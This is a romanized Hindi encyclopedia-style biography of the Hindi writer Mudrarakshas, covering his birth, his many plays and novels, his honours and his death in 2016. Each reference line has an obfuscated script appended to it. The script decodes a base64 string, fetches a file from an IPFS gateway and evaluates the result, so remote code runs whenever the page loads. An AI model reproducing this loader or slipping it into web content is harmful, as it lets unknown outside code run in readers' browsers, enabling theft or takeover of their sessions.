मुद्राराक्षस

	mudrarakshas
	mudrarakshas\|200px\|center
poora nam	mudrarakshas
janm	21 joon, 1933
janm bhoomi	lakhanoo, uttar pradesh
mrityu	13 joon, 2016
karm bhoomi	bharat
mukhy rachanaean	'ala aphasar', 'dandavidhan', 'hastakshep', 'kalatit' tatha 'narakiy' adi.
bhasha	hindi
prasiddhi	natakakar, upanyasakar, vyangyakar, kahanikar tatha alochak.
nagarikata	bharatiy
any janakari	san 1951 se mudrarakshas ki praranbhik rachanaean chhapani shuroo hueean. karib do sal mean hi ve ek charchit lekhak ho ge the. 'jnanoday' aur 'anuvrat' jaisi tamam pratishthit sahityik patrikaoan ka kushal sampadan kary bhi mudrarakshas ji ne kiya tha.
inhean bhi dekhean	kavi soochi, sahityakar soochi

chitr:Disamb2.jpg mudrarakshas

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- mudrarakshas (bahuvikalpi)

mudrarakshas (janm- 21 joon, 1933, lakhanoo; mrityu- 13 joon, 2016) bharat ke prasiddh lekhak, upanyasakar, natakakar, alochak tatha vyangyakar the. unake sahity ka aangrezi sahit doosari bhashaoan mean bhi anuvad hua hai. ve akele aise lekhak the, jinake samajik sarokaroan ke lie unhean jan sangathanoan dvara sikkoan se tolakar sammanit kiya gaya tha. kahani, kavita, upanyas, alochana, natak, itihas, sanskriti aur samaj shastriy kshetr jaisi anek vidhaoan mean aitihasik hastakshep unake lekhan ki b di pahachan hai.

parichay

mudrarakshas ka janm 21 joon, san 1933 mean lakhanoo (uttar pradesh) ke pas behata namak gaanv mean hua tha. unaka mool nam suhas varma tha. unhoanne 1950 ke asapas se likhana shuroo kiya tha. kahani, upanyas, kavita, alochana, patrakarita, sanpadan, naty lekhan, manchan, nirdeshan jaisi vidhaoan mean unhoanne srijan kary kiya.

lekhan kary

mudrarakshas ne 10 se bhi jyada natak, 12 upanyas, paanch kahani sangrah, tin vyangy sangrah, tin itihas kitabean aur paanch alochana sambandhi pustakean likhi haian. isake atirikt unhoanne 20 se jyada natakoan ka nirdeshan bhi kiya.

sampadan

'jnanoday' aur 'anuvrat' jaisi tamam pratishthit sahityik patrikaoan ka kushal sampadan kary bhi mudrarakshas ji ne kiya tha.

pramukh rachanaean

mudrarakshas ji ki kuchh pramukh rachanaean nimnalikhit haian-

kritiyaan - ala aphasar, kalatit, narakiy, dandavidhan, hastakshep.
sanpadan - nayi sadi ki pahachan (shreshth dalit kahaniyaan).
bal sahity - sarala, billoo aur jala.

prakashit pustakean

san 1951 se mudrarakshas ki praranbhik rachanaean chhapani shuroo hueean. karib do sal mean hi ve ek charchit lekhak ho ge the. kahani, kavita, upanyas, alochana, natak, itihas, sanskriti aur samaj shastriy kshetr jaisi anek vidhaoan mean aitihasik hastakshep unake lekhan ki b di pahachan hai. in sabhi vidhaoan mean unaki 65 se adhik pustakean prakashit ho chuki haian.^[1]

puraskar v samman

mudrarakshas akele aise lekhak the, jinake samajik sarokaroan ke lie unhean jan sangathanoan dvara sikkoan se tolakar sammanit kiya gaya tha. 'vishv shoodr mahasabha' dvara 'shoodrachary' aur 'aanbedakar mahasabha' dvara unhean 'dalit ratn' ki upadhiyaan pradan ki gee thian.^[2] mudrarakshas ko 'sangit natak akadami puraskar' se bhi navaja gaya tha.

rajaniti aur vivadoan se nata

sahityakar mudrarakshas ka rajaniti aur vivadoan se bhi purana rishta raha. kee bar rajaniti ke bhi maidan mean utare, sath hi samajik aandolanoan se bhi ju de rahe. unhoanne modi sarakar ke karyakal par uangali uthaee. abhivyakti ki azadi, sampradayikata, jativad, mahila-utpi dan jaise ganbhir muddoan par ve apani bebaki se ray rakhate the. sahity-sanskriti ki duniya mean mudrarakshas ka nam logoan ke lie adarsh ka kam karata hai.^[3]

nidhan

mudrarakshas ji ka nidhan 13 joon, 2016 ko somavar ke din hua. parivarijan ke mutabiq unaki tabiyat pichhale kuchh dinoan se kafi kharab chal rahi thi. unhean madhumeh ki bimari thi. sath hi saans lene mean takaliph ho rahi thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ sahityakar mudrarakshas ka aantim sanskar (hindi) dainik bhaskar. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ natakakar mudrarakshas ka nidhan (hindi) khabarindiya. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ mudrarakshas se ju di dilachasp batean (hindi) patrika.k aaum. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] sahityakar mudrarakshas ka aantim sanskar (hindi) dainik bhaskar. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] takakar mudrarakshas ka nidhan (hindi) khabarindiya. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] udrarakshas se ju di dilachasp batean (hindi) patrika.k aaum. abhigaman tithi: 15 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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